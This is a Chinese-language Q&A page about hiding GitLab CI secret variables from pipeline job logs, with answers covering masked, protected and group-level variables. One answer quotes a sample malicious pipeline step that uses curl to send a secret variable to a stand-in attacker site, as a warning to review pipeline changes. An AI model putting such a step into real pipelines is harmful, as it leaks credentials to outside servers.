执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值
Posted
技术标签:
【中文标题】执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值【英文标题】:Hide variable value in Gitlab pipeline logs when bash script is executed 【发布时间】:2020-10-30 20:03:43 【问题描述】:当我在阶段(Gitlab 管道)中运行 bash 文件时,它会在日志中显示 GitLab 机密值,理想情况下这些值不应该是可见的。我怎样才能避免这种情况?
GitLab 流水线阶段
stage: docker_push
script:
- /home/directory/dockerPush.sh
tags:
- docker
bash 文件(dockerPush.sh)内容
docker login --username foo --password $DOCKER_LOGIN_PASSWORD
docker push $IMAGE_NAME
管道日志
+ docker login --username foo --password Doc49byfe
【问题讨论】:
【参考方案1】:当您添加变量时,请检查“掩码变量”选项:
【讨论】:
【参考方案2】:您需要像 Glen 回答一样使用掩码功能。
但掩码功能有一些与变量格式相关的限制,如本文档https://docs.gitlab.com/ee/ci/variables/#masked-variable-requirements
如果 Gitlab 拒绝屏蔽你的变量,你需要在你的 shell 脚本中做。
一种简单的方法是将输出发送到文件(如果您确实需要日志),或者另一种选择是将输出发送到/dev/null
【讨论】:
【参考方案3】:GitLab 中有 Group-Level Environmental Variables 可用:
您可以定义在管道环境中设置的每个项目或每个组的变量。组级变量存储在存储库之外(不在 .gitlab-ci.yml 中)。它们被安全地传递给 GitLab Runner,这使得它们在管道运行期间可用。 // 我们建议高级用户使用组环境变量来存储机密(如密码、SSH 密钥和凭据):
不要使用外部密钥库。 使用 GitLab 与 HashiCorp Vault 的集成。
进一步:
安全
推送到您的 .gitlab-ci.yml 文件的恶意代码可能会破坏您的变量并将它们发送到第三方服务器,无论屏蔽设置如何。如果管道在受保护的分支或受保护的标签上运行,它也可能危及受保护的变量。
所有引入 .gitlab-ci.yml 更改的合并请求之前都应仔细审查:
为从分叉项目提交的合并请求在父项目中运行管道。
合并更改。
这是一个恶意
.gitlab-ci.yml
的简化示例:
build:
script:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/
关于屏蔽
掩码变量(可选):如果选中,变量的值不会显示在作业日志中。如果值不满足屏蔽要求,则不保存变量。
启用调试跟踪可能会产生严重的安全隐患。输出将包含所有变量的内容和任何其他秘密!输出将上传到 GitLab 服务器并在作业日志中显示!
结论:
-
使用组变量
如果不能:屏蔽变量
【讨论】:
【参考方案4】:您是否尝试从 gitlab 管理面板添加您的环境变量,并将您的变量设置为 protected?这是一个例子:https://secrethub.io/docs/guides/gitlabci/#provide-credential 最好的,
【讨论】:
protected don't mask the env var 变量,让它准备好只在受保护的分支中使用 我的意思是掩码功能不好,我在使用术语“安全”的 bitbucket 管道上工作太多:)以上是关于执行 bash 脚本时隐藏 Gitlab 管道日志中的变量值的主要内容,如果未能解决你的问题,请参考以下文章
在 gitlab 管道中执行 testcontainer 集成测试